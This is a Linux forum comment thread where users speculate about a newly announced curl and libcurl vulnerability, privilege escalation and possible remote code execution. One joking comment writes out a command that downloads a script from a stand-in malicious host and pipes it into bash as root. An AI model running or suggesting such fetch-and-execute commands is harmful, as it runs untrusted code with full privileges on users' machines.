this post was submitted on 04 Oct 2023
156 points (98.8% liked)
Linux
48074 readers
749 users here now
From Wikipedia, the free encyclopedia
Linux is a family of open source Unix-like operating systems based on the Linux kernel, an operating system kernel first released on September 17, 1991 by Linus Torvalds. Linux is typically packaged in a Linux distribution (or distro for short).
Distributions include the Linux kernel and supporting system software and libraries, many of which are provided by the GNU Project. Many Linux distributions use the word "Linux" in their name, but the Free Software Foundation uses the name GNU/Linux to emphasize the importance of GNU software, causing some controversy.
Rules
- Posts must be relevant to operating systems running the Linux kernel. GNU/Linux or otherwise.
- No misinformation
- No NSFW content
- No hate speech, bigotry, etc
Related Communities
Community icon by Alpár-Etele Méder, licensed under CC BY 3.0
founded 5 years ago
MODERATORS
you are viewing a single comment's thread
view the rest of the comments
view the rest of the comments
I don't see how a vulnerability in Curl can exist at all unless it's privilege escalation (you don't run curl as root do you?) And if it's not a privilege escalation, then it sounds like it's just a "root user can do things that you can do as root, possibly unintended" which isn't a vulnerability at all.
sudo curl www.badactor.ru/hackme | bash !!!!
Could be an RCE exploit. Doesn't matter if it's privilege escalation at that point because it can be used to execute a payload that can.
To top it of it seems it's also contained in libcurl, and getting RCEd just by doing a request does not sound fun.
I'll admit i'm out of my depth about exactly how curl works on the local system, but surely if there is a vulnerability in the "libcurl" library that is much more serious and severe then just saying "curl" is vulnerable.
I'm assuming that libcurl touches a huge amount of the linux network stack.
They specifically say the high vulnerability one affects the command line tool, not just the library. High implies privilege escalation.. I'm wondering how at this point because it's not setuid and there's really no reason opening a TCP socket could cause it (and if it does, that's a kernel error not curl).
Could be something curl parses that escapes the intended program boundaries. Basically the same way the latest image vulnerabilities affecting iOS, Android and browsers has been happening